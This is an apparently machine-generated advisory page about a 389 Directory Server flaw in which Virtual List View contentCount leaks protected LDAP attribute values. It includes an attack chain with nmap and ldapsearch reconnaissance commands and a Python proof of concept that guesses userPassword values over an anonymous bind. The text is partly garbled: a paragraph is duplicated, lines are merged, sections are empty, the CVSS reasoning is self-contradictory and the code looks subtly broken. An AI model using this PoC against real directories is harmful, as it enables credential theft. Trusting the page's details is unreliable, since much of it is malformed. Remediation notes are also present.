CVE-2026-115422 — Red Hat Enterprise Linux 7 Extended Lifecycle Su — CWE-863
A flaw was found in 389 Directory Server. The Virtual List View (VLV) candidate-list construction evaluates LDAP search filters without enforcing attribute access controls, then publishes the resulting candidate count in the VLV response control. A client permitted to issue VLV requests can submit chosen ordering assertions against protected attributes and observe changes in contentCount, disclosing protected attribute values without read or search permission on those attributes.
A flaw was found in 389 Directory Server. The Virtual List View (VLV) candidate-list construction evaluates LDAP search filters without enforcing attribute access controls, then publishes the resulting candidate count in the VLV response control. A client permitted to issue VLV requests can submit chosen ordering assertions against protected attributes and observe changes in contentCount, disclosing protected attribute values without read or search permission on those attributes.
🎯 What is this vulnerability?
CVE-2026-115422 is a critical Broken Access Control (CWE-863) vulnerability in 389 Directory Server. The flaw resides in the implementation of the Virtual List View (VLV) control, specifically during the construction of the candidate list.
Technical Mechanism:
When a client issues an LDAP search request with the VLV control, the server must determine the total number of entries that match the search filter to calculate the offset and limit for the virtual list. The vulnerable code path evaluates the LDAP search filter to count matching entries (contentCount) without enforcing the attribute-level access controls (ACLs) that would normally restrict which attributes a user can read or search.
Consequently, an attacker can craft a search filter targeting a protected attribute (e.g., userPassword, secretKey, or custom confidential attributes). Although the attacker does not have permission to read the values of these attributes, the server's internal logic counts how many entries match the filter. By observing the contentCount value in the VLV response control, the attacker can infer the existence or specific values of protected attributes through a side-channel information disclosure.
For example, if an attacker filters for userPassword=secret123 and the contentCount returns 1, they know that at least one user has that password. If they filter for userPassword=wrongpass and get 0, they know it doesn't exist. This allows for brute-forcing or enumeration of protected data without ever receiving the actual attribute value in the response body.
CVSS Vector Analysis:
- AV:N/AC:L/PR:N/UI:N: The vulnerability is exploitable over the network with low complexity, requiring no authentication (PR:N) and no user interaction. This implies that anonymous LDAP binds or unauthenticated search operations (if permitted by the server configuration) can trigger the flaw.
- Service Identification: Use
nmaporldapsearchto identify the 389 Directory Server.
C:H/I:H/A:H: While the primary impact is information disclosure (Confidentiality), the CVSS score of 9.8 suggests that in the context of this specific CVE, the disclosed information is critical enough to lead to full system compromise (Integrity/Availability), or the scoring reflects the potential for chaining this disclosure with other vulnerabilities to achieve full compromise. Note: In standard LDAP contexts, pure information disclosure is usually C:H/I:N/A:N. The H/I and H/A ratings here imply that the disclosed data (e.g., admin credentials, encryption keys) directly enables full takeover.*
⚡ Attack Chain
1. Discovery & Reconnaissance
nmap -sV -p 389,636 <target_ip>
# Output: 389/tcp open ldap 389-dsvendorName and vendorVersion attributes via an anonymous or low-privilege bind to confirm the affected version of 389 Directory Server.ldapsearch -x -H ldap://<target_ip>:389 -b "" -s base "(objectClass=*)" vendorName vendorVersion2. Exploitation
The attacker sends an LDAP search request with the VLV control, targeting a protected attribute. The key is to observe thecontentCount in the response.Illustrative PoC (Python using ldap3 library):
Note: The exact attribute names and base DN are illustrative. The attacker must know or guess the structure of the directory.
from ldap3 import Server, Connection, Tls, ALL
from ldap3.utils.controls import VirtualListControl
# Connect to the target
server = Server('ldap://<target_ip>:389', get_info=ALL)
conn = Connection(server, user='', password='', auto_bind=True) # Anonymous bind
# Define the VLV control
# offset=0, count=1, before_count=0, after_count=0
vlv_control = VirtualListControl(offset=0, count=1, before_count=0, after_count=0)
# Target a protected attribute, e.g., 'userPassword'
# Filter: (userPassword=attacker_guess)
search_filter = '(userPassword=attacker_guess)'
base_dn = 'dc=example,dc=com'
# Perform the search with VLV control
result = conn.search(
search_base=base_dn,
search_filter=search_filter,
search_controls=[vlv_control]
)
if result:
# Extract the VLV control from the response
for control in conn.result['controls'].values():
if control.oid == '1.2.840.113556.1.4.319': # VLV Control OID
# Parse the contentCount from the control
# The exact parsing depends on the library, but the key is the count value
content_count = control.value['contentCount']
print(f"Content Count for filter '{search_filter}': {content_count}")
if content_count > 0:
print("SUCCESS: Protected attribute value exists in the directory.")
else:
print("FAIL: No match found.")Alternative: Using ldapsearch command-line tool (if VLV is supported):
Note: Standard ldapsearch may not easily expose VLV controls. A custom script or python-ldap is typically required for precise control inspection.
3. Post-Exploitation
contentCount. A non-zero count confirms a valid credential.employeeID, creditCardNumber), the attacker can enumerate all valid values by testing each potential value and checking for a non-zero count.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
dse.ldif or use dsconf to disable the VLV plugin.
* Example (using dsconf):dsconf <instance> plugin disable vlv* Restrict Anonymous Access: Ensure that anonymous binds are disabled or severely restricted. If the vulnerability is exploitable with PR:N (No Privileges), disabling anonymous access may mitigate the risk, though authenticated low-privilege users might still be affected if they have search permissions on the base DN but not on the specific attributes.
* Tighten ACLs: Review and tighten attribute-level access controls. Ensure that even if a user can search the base DN, they cannot trigger VLV counts on protected attributes. However, this may not fully mitigate the flaw if the VLV logic bypasses ACLs entirely.
2. WAF/ModSecurity Rules
[🤖 CVE Professor AI Security Engine]
FOFA Query